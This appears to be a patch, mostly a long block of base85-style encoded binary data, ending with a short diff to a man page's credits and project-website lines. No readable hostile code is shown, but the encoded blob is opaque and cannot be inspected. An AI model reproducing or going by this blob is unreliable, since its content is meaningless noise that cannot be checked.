z8W-xpa&?UoD0_({4GvwJLD2nT%XIRg;$=9F2!YO<9Xu$Jx=j}o(*6@A`Zx314<^XP zIZo5F586NS+5q3g3kn(S`4EOO@~s2#e27l?oNO6VNmW@#GropU*`jPVElS6@3{sp7 zC1AaRI#NKQ@jOGXMcH(Au}IF-R zBYHED1>8PEF>O9G&{XR{z&kTox|Y1%uh$xwq(9#m0Bg%9s6nH1icvB3T#RExU=nOj z+jJgI=H85-Z!hsI)2=2T04eR=zIep`d@oLl0PB~N2xyzU$<*Xf7u+t zBx_F}TM74V;&IxnI1cH4_q@Q`CIRUcYG<9-QyDNF4F$QzCP>A+XgbR|p1}ogydlL2n=@a&h%Wp#; zr%^vB=;KTrJPOViMe6*@h?(hJK%R(RlZuy7`>H3qq*i{rf8>Qmmg|q<5Ae;ddkw}t zOHY0LL79(aFw4J61T;$6OdFOxHx$gBI?3U9Tud)`QmGU@mhiY>e~JdS>HEY@Ve`M8 zHn#Q&2B&-hOdI+aAjpocYAOL8&sGn?K7|!tazv^=B1XSmiyF*C>-#k#NHFtxvvL)( z4>>eVQ?|;q<7&4jl`_dPMLjKi%f~{HY2nBq(R6uQ)UrzHsV~C2#moO;7RDU%N9tUx zk734dp(=QfY^r*ioN95)?flGAx@)wKfX9c+wyz$4cDKfmu!%c6-{mrVXT{VLHH$q_!cLqtH~Uq?`b}5%Z}e)j+d*z!PYpWUbI<5 z2(}(c5+qr9Ef>=OfyX$n_m94ZUL#^Z|Ku>g`Thnf8b-nPGb2Z#l&LvrdJ^tVBYT;T zO@;>0m|Dw2PDzxDg8<)&G*dz7+xW9cKEGbQ)iV>(Yn80if>mjuy*ZPpbt!4P4xsfp zhLW(>2d2BvHs^PKn4VIEz3(KVB@dozT*Ui`>;CZ%=691MhSA?mLS>#)ICQwl#+Jl} z@PnnxH;7)5w18sLpZXnYC@!V>Ade1kROeszn~coAL$o0hdw!0l#qqM-TeBr8BiZgr zQ)8?LQ>HV|K;@c&`=`~^ubr^D=*b1vHC+c>Rkfd|9y53b=}0H%xXC&pQaNT=g|;^| zD}otP7II@$I`@y*+=a1}KTR7f!->-48pVO@Q;geAet!x$Q`@W-;`u!*l zo}S!Z=2|vI?Dh!10uW2Uw6LF)N$lH=xoHo|vyr}U>zVaJ9lx&TJU{rY$Nmu&`UMt8!^8U-a*Y>9)kZA-H0Z)i&b*vE* zGyqT5R{2(L<-eROn!K(F(n{kDJLO%-JtGlxd6(f=VqpIAN=)NOzfktk zuc20iSW@(ByBM*KLzNEx*P$*{$>8rwh-6WbFI>dRC#cWAUXI3m?v)gD#6w~CE7BFe z3QoSfECz0I>-5(Bj8rr{>8u%;i*vOWqAnKhJ~r3Q1sC;*6fM6*$tW*`(C?+xvzar$ zr{`F<6s5&n%@)=AO59J8pv7Avz&OkDg%baKtaim(id&-7VxXC*D_ltn6W?`g0Y0F@ zm=Fq^ar?qA7K7oNn+PaZvWN=BD<`n|Dh+cMLlGToIjqzt%dn+UOqBKHk7gZ&6Df37 z4EG(b4KiqAQQ(=|?_Z?-13gFJibXtbFRD+(0Bp`EjkN`BX6DLMQ@j5&ehd1d@$FnN z{E2x1x`9{dxvak1z?#`ehn?5L+z0r^mqsJTN|OBG7tCe#={5?A2fN#e>M_iP|UV4P7#3OrP z$6%()ZJ_gNVXf2)baGK3B;*iFnH5AxYEfP73Gg)S$nG^oH+7H`a*x%8{eet4ekAv7 zFldT#IrsLcOtyth_$_`6EMQ%ISqZ)kIauZ+u<82c+XezW2p27=KNhl~;ZjY6_^bD@qV+BpQ$Bzw(9hmG-CC-nS z1b24?#+8*QY%A)4#+Q*RFNgr$vADxZ1ATj(zmXREbl4D`f1Hfhs8*Q)&lp=+zJlg6 z=z!-ngtzRoq}8@7m8KN|lsa3Ywyu*rdGFlxk{F~3gPw=4UJi|P!P$xK8&)Z)H2CXj zdMGZc8Lci~6u#M~i~|rPn2n(E<4J$wLf3|VAb@*8W-`NX3vnR(a$cm6AVp$mOs`XG zXp+Kk42Yc^qGJ|xly*BF+1ut%zZtyMamY6`dLf|7fZS3n%a^zHYZ6MQ>*vo28RS$z zxa_=)6sMY5$7y3h_`HHVGbe=%$N`j7UCjm{67oa#6{d)((#&c zP^d3D{&>v5@qgz6aH8HTxb}8-2mj+INLi&MGH=Sc?pF|{WNxN1{~0l%l{G|0mdZqC z|33lR9wp&n`C>J(wX`MsTNwdoTx{Hg2&js+NoP0+%ZO3QWFiNlDqb2H$f25(!cfX+ zfUq@tiwKq5jJAsOqv%{f@(A2h2J8AYN|)AK&Xz`ZiFp_n;qA@XT<59itt=jGvuL6WDye8BQymf zyzRchb4*0$sW1A$D&e2KbjcMo0N?zQ78?aX`Yx>fb}3y24?6fR=zaS}uF%ggq0- zVL?XbJ$n!hr1$>0syf)-eDjZ7sDoX`vXDU7ncld*Z3w?3PkpWmw_E8Gb!IP}1J*5l z!HwaIjm=T`m9dw~zU52&USU#tzC;($&S>K67$a~?V2Qjg2+n3k9PPTZcxr9G(n6~A#)vzUi$#BE0S%KI^PgIBTb zdC%^M@XYn6H|DCY#{n~?^y`reo$-%9W7exx`J~^O+g`kNLvnkx>eQoPAax`!QWS$dDYbRac|b;)5AopiW2%Q5v!tV`rSoB63Zr2DmFI}HALKIvOxMnw;l~dOc2(5fY8$OR{45bq`u_7rdN`_Kw6DlU8j7ro^Na=-WI08z= zF=#|UNXO9xDMg_rUnq&)IZ};3TJ|9%0n#`^sn!{3`Bo6Dul3n(6H#yC4skM_h?JxZ znYmagLp)V|5j@u(Ero0lL{SJ$5?UleYN+s8X;}m>3}>YfZy@<1q$Sb{qmhodFmw#* zGKpNs5R(bg3h|a91Y?OpqzIM33%v^wYT-l8AbE#a5zcRna5+*>?QU;ih9At9 zT8~2_E{TK)jd*hSTa0om!bP+(!c2~BcYNr^2=&<@diEHblN>0qrKT_2OiE;- z5l%~X!a89igjx@-Hd47ELbIlA+F^=Rh)eFhTEulwx$R6AvRLqvj63k7B!J`$FS_4>uz91KEY=5Eih8bfUH6|0} z;&up)5b#B?VJJ@95aFVfbTk(-tvRzHLM`ml;-rRLL&@NbD+EZfg&ZlakU$vLpTV~- zTxv-}>s+ z&df1X(uqsn*Tw9>ptBleth*8o!;Izi#-OiJFk`)eXesKUl@IINpSdAIc9P)#5bvS# z9tLiLu(%T+c2xASZ&`68M-r3LG?H8bQhz)g&S;{FE>Bq%J{31aqR^ zVA5xCR2V({$Y}t(QsOU06OG=FG3kMucuW;7x{gT?1ucatn41?qBZWG@s(eg($?rXl zgc5%|W5FFBOx6gVvCl;p!;$#8GssvfJL7yL7_jbXpS!e3H%8d}!U?anZ1Ni;)cAM% z;^RucmP&0z4=!a2dkS?CJV$FQSOm zSA8yAYE_0*k0n+OTKlx)6&o(FEez&V!8K~1YQ=^KCo5dxB5ZlkQj`lQ&aT{3i}@~a zi9aPumFEk~DJp>cQlab{P>xcH(N|NOJXLe8rosa*nu}}4B482I!{RYv0{n=ukX=YR z5BZiH)CNIQbFPKYh^1?-FlC|oD$IpXgt{F1KA{t;Ip07e+;1SmwbEQy>eEH}XF2tH z{03mig29qN6noL5w5sb$7)3Cr1(7evNG?MyJUD=8ZUv!g*Nz=RVUzl z@}0G{n>>OhuG{8pf^Z~TOMZ=g7dDjwzbR3R8DoCY#D|;2%GMm>yPa!L8}YSB5nA}L zg!m3rlE*pZAS+p2N}OoWE!G)MjR0m;VomaCiu#PX7kVEiEsLg(*&j-uW^$i6od1tL z`7R7Zz&3=MP23pagK9aY!_O8D&wIwc#Lts36XdL1RWn-x*daH@?}ekp8=Jy4)V_aP zcw??-KYx=}=4qm~k5W?;y&=!if+eiEy$~nQDFjBf@tDRLdZN5cRqc z2x;CGL?E2m7d%QJbhz~9g1tw!r`O*96rrJcV}1f*HlyGj1)Ex)hs%}z>fab*Sgv+}zGx(KS=$UOtAf$KGPtpj4PZB+) z1j4ub^=n>ft5Fs^ebNt%C{-j%94sAy*9QdhP zsO&h(*+)A4$6<2&)2C04Ke-jSfBr&t&`@dJ(NM}7gfzlD+n5m2XFcx`2-OEr3yCnD zxG-anLx?Vn{qQ~7RZ|xj%2{1DL>&hJMK#bd54!Xw*&P-QFsDTH%e zghL(-XE*ojblK0W|<%dpQwW=1LZ6b#=)XZ+m3WN)(2RI0QJUO+nVxKFC zFu3a)*^u_y`;!QZ?5jmt;SAUeY3d8{u!4}{_Jx+F_V|L0 zg{ghX`cr$W5K{j|2$la$2$k}GBEn4OpNVkF5<=DSe;~p+hsu8>LS-t$MMz70w+o^3 zPY!4B^<@)6{2*8pLX%gr72jmmBOH3|#{3fz&i`hi7V6w)nzjjH@=q?6Mnb z((d;>cEajf=oRwX+g|p!LWn!xTt)bqgRq(5A{=*gUl8qQ{tASSAy=H2ypPUQZiMg} z&#voy+)$HlAAj4ne$K6}fZnhR4@SU?BAvN2#Y0L8e457k}i}0bGM3`b}YEMTlP=8Hd=+@uwvLx7d zZIgx+y)9&G;g`eC-+uz(1MvP`(aA`Co!i!{C>ljsfbia?pB&@7k?E zIAR^bj4>hMPh|N&L0CnuI7O&SwzNk2Z4F`g@OB_PLB1hBxxiLpMEGPc{A!ZRQMcDVk6Ll~UF%UpPL!{wH+?95Xqh(O86E@5Z<|Vq2TtZuM)#P1 z5j^0txvsKJECr`|4pjuT4yOTWBBHRj=QNO1{wWLfV9kME7AC7Nx`SNkoVz*allq7? zr$b=Iirb{QamI`xwE6owle`JS<8d^6!P_?3%{>fF60~l4&kR-y*j!HImaD2ZZc$!4 zFT${!dozTc-ggXUAk?OYBA;9Q%QX4TxQ)tGi(l<%N>3y%J#ZNw^9RN=Q_r1m7uGz( zjc2A___PPLe(=F*k>~=8Qeno# znrN7@Ue{V_&T!-#>&#+aiW)XS7$Av)b~KwIeD6YI0#kJ{?^%cQG%iU_<*FKigqou_ zMfjsr;+FGL9dXIAvs4%G9A>OTtV?;xPXHOKm1V!;hg$cv zB4NiSHWiUD`QZGT#~UMjTpWfOC}lZ4N}aq>1tjmjyrs*8)Ne#+I*paFh;Z>zeW`V3 zub~wUp-lLrS|Bz0B38l;Y;zk*rzJ1ya4EUIYr4Cy9+#5pTcq#u>$7kx-1^p-C5}{} zP6ZhZt#1g_d$iZUT=?sSFk`t5nWzNjBDbL!B|HMs1|g}wEp21twCWeN@PaDs#+FT& zZvzX)-1Z>VsoNqbr7q^TL#e}nP|N2V%zio;O9=JOb@kSU>S!dc;CKodhfYoE>fF#w zGU0K?7pYx|`^2GT0V$2?LJ8+D#T=I%6;)SJ2H{_(ItDdYK&j>s8YXg4=f`oHvXS4J z^y!TdKB0$mD~N~GMQ(&}SxETdsV>xzu6e4{I6i&E=UIfB-R)Q8Q+gltnVFg*5h97e z+J~y;%aGa;=9`tYd{}tFl}P6WrSvmM9}5dKJpeI9Lg-$G%}^K2jhO8|MxcM08Ydb} zIKzxNPO}-S=VT1#qK?g&mY-|w(-!+-R=#?&t9J``p0unL{M$OTrMmWM)I{IWKSnhXO=OJhp^2!K7qBXu~_?+2Y~beA)RzBc~Q} z->`K9*ZG2#lJQ+sawYv1B)NrJvE__y5T-GY7jHSX>~hNwspQmFf6U{>XW);)=#K0uK}r^`q&L5iu_%#=F*G-47Ghb>>(>0v zgl*k-O(O1hW{bYRScGm2?K5{UqUvI~n2S(fY`GzEFtkoRmRcD0b<3@i7ez{C6uFQa4VzQHDm@8mVn;4I%R|dy|l7bfZN|287P-msy0O z<_KpC2ql*-`(5c5{a<_M{?k;J2k@FHcTv`}gFzNRfnsYec`#tw_&$;(JzTYzpo{PJX^u{YxIZYK>ph;5=93fo|-j>Gx zNB|T~I0MYoSME(T<9aXvmOM;VYBRvJpc{XcYY|L@j$lY{ld%Ligac4gE%mh&HUR5C z%tY89Ug0KaSQ#DiP6Yi|nV3d6F5!!{;~Axm8}@e~2xmgu_}Bn?qAO8Aab1FB@b~G4 z9T8|GI!V|~F|c$=1hL)~3IEG1FcnqDM-AxO3ThjrhynaWi+MWy3R*zWBm^UQ3IX;i z>BeCO!plukK2&lu=sT%^lBz_Y{}}V?RFaT^a9a4AyZMBpx{J=R>u{3AOb_j;H-mHj z$V_BtUmQkadtghVY$ichjik>=+SIR42+;!1LiduQ+6=EpMw=E`F80?4qZv=b6;7oE zV?e%v8bk}m&|rqaWn5!kEDNKDBLggKVoQ24I!Qc%_x1-&>$r69X6lC6IMp*eixili!wXPnRBrlG^vXonUL@SfZE_X4?;iqB~5;r=r8{Ml)t&SbAod6%fWNLOxa{ zTP!#O_LRO&7h(*U3fXs8cK}lrqp3uu;h5i_OxVUi7#a%|CrfpYk|fY%IoYDWppvj= zzR#2_AiUDH-ObG*--y#EwOiqd{!sVR+_SBegpO2kiKWn9oL!xPUtaGH%^HA*Lc}bCLS!e!3bwQrxs8td4anyAE*`-3F z83;pIYgw-gkj18n!jmd7qJIHlYpvV;W!CUqc7%K)F42=i(fb7#ekBOg5DQ_sonF1W z@g3_r5o`AAkHfhg^(cb@Xx&*C9YoJT=Lxv*!vJ{S;(sWi@4^3Jk~|^i}Fd%R&fwHo0$wrw4+ZZd)OFI&i57TS^F`^!DydEW#T#-~I)M za6IUzl3*RNatO)HJKHk*s<8;a?!_YH^FPNTOeV-n?VlN!gHW_IgbFL)6NGD*h|qcY z0GU?${5~@VVRys#xQ^7yqXdg^8(H{6dvuFW z5XQJiNLU{&^QA2P{TGVx_LlZ_E7}Sjfn6K(ajo!$A?<(gLpO(T z`-AmgCSl%%FF$_p(It~l5awIMJU|HVx%4RR%#QWDS~jUQLl}fsgI<0Lexzp+QoV0b z$mx=mLpT{lfzcVat<`lPzu#k`Fya_|9<`L3rtG zpjQwQ?XW|5HBu-FI)%-%oi!W*O6SwcOgBi z0vj-k(4bGpBaH06D&B)b=yo?ZjgUOe`;^b051TiK@IlZJ3!zm?eKhexIS`WFPM;%u z)ou75ix49|9#o*>LTK&oq#nBe;5t&ni5;=KmWz;R<;j#vIgIc!Pt9(Hg-WGj%{~r< z#NvC9y@HSgPS&t+wId_|_~lfu6Wfu3hZ4cE5dssraH9Df!Y8~7Y=rb$%KXqAMM(G_ zAw3HPkFi!gLdwD$KN8qhXlRTTE*l}#g60s82VlQQ0kOIeBGc)s9w8#L2%`oc4JDmh zK0@3a>B*(dk@^w-K7<=%V`D>|?-wDlG=!vQ2xk{GNT(kmYnq!r8n=g7QH0NiJV8j- zO6X|y_QQUJEQF}|9N~Y@d4%wwijHGFx!sR&6(Vd91ij?%cZ=}iL{zQNk8o8YtY3T3 zm>B9Fp*Z!~M&A{?Fw3y^xT6&`Wzo$(`F zDnccV@Q*Euynw|JDrtm!zo-nX)qm#mR`@*CHwcL(BP?44VUlMEqu)y_eA1cR-?1Tr zvu1OxP`5sq$lQ1@gYfLkrcw@sWJ|fd40jIKTVYC{ISVMB}VypRcg<2KIVewP~6QMX9-pzfxtS5=Jas21<=3I7C1ruSd8JnZvm*qR@U+g7LR77U!ATqA(}DZ|d)n=MQ`T zxcU4O(UuXM0l_-Q{!EM?-)(vB)ecNGostf9PKz3U6=N|IVMIQpcV<&v&#rtkq)cFH z&Mk#}P@MdB=5FqhD7PE(BULs7bQ~)ACNy!PVms^HTNc8`d=b`XieD+SA8Or%q-%s7 z`%R502}p({y>3w6E-3P{Xf@$yqb(0&a*&*uT;1EG_Km2^m*A}YZk0xaXp$zH)XM98 z{8fS)AfF0IuQn#JZZN6iQ)W_1VtKRb8l;TY&p`M<;?6BbQkiC}gxq2VVyY4+8YRq! zWhV1b8jP^g#1XZlG1ZaVnTp0PQMIY>RO->#AF|4VVR2_xthXh#_>9^zphq)gCv?-Q zu58rew6nYHc_!52)DwDh>HtT~7S&m(BZc+uJYk&KdovqWRyJ0^PSTqhZZTD7+&RDQ z?UYY`(+&q9=uVudgbT(uMnDLs#9I8*Zm38CaTRC-)f&o5CRLb1+F}tXsHiCNdNVYX zj@^~x4A3S3O+Chdit=Q8f&o(%?H*94<*0v!&dfkq3+vTtWx&{BfRnO7ok7di&u~sl za(i#IXAanM4RBKVKD*pd$aMVG8sHPPfrLw+LJj)%;xdF_2HRa~c7uudA|FTym=41l zZ~%;ma2Zk(NO9=}k-#S8x{845<@=PSw;&4GM5wZ0B#Gf78tXQ~Pm$CNVvFF=Ci&GM z3{8R%zS+bPuS-k^>%e5hlmIXihRFz`KM*{OkM(;bhI%vf;S3N`2BcuprMm#IZNy{< zsQX*XVR4KaOwA(<1x^K=%O9gYtKgFSVO$c!QQH#d&euMRy5~=YP*QdXRoQqbsgSzS zaKwxI_=m9A^^u3kaJ^bPFa>Bg+G!s&LYD#8Fx`;L08DR1$8i9^Vl=tFGVAeIIR>C` z2~Joq4aQlIC}SlJL*WuYt-E)jkgh=;n#2nAFw8{wrUdwfJ7~#)xgYV%*P)ynmQB9j zJDu with much help from the community. .PP You can always obtain the latest version and information at project website: -. +.